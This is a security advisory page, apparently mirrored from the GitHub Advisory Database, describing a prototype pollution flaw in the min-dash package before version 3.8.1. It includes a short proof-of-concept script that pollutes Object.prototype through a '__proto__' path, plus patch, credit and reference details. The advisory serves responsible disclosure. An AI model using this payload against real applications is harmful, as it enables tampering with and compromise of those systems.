Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS0ybTUzLTgzZjMtNTYyas0m4w

Prototype pollution in min-dash < 3.8.1

Impact

The set method is vulnerable to prototype pollution with specially crafted inputs.

// insert the following into poc.js and run node poc,js (after installing the package)
 
let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);

Patches

min-dash>=3.8.1 fix the issue.

Workarounds

No workarounds exist for the issue.

References

Closed via https://github.com/bpmn-io/min-dash/pull/21.

Credits

Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.

Permalink: https://github.com/advisories/GHSA-2m53-83f3-562j
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ybTUzLTgzZjMtNTYyas0m4w
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: almost 3 years ago
Updated: almost 2 years ago

Identifiers: GHSA-2m53-83f3-562j
References:

• https://github.com/bpmn-io/min-dash/security/advisories/GHSA-2m53-83f3-562j
• https://github.com/advisories/GHSA-2m53-83f3-562j

Repository: https://github.com/bpmn-io/min-dash
Blast Radius: 0.0

Affected Packages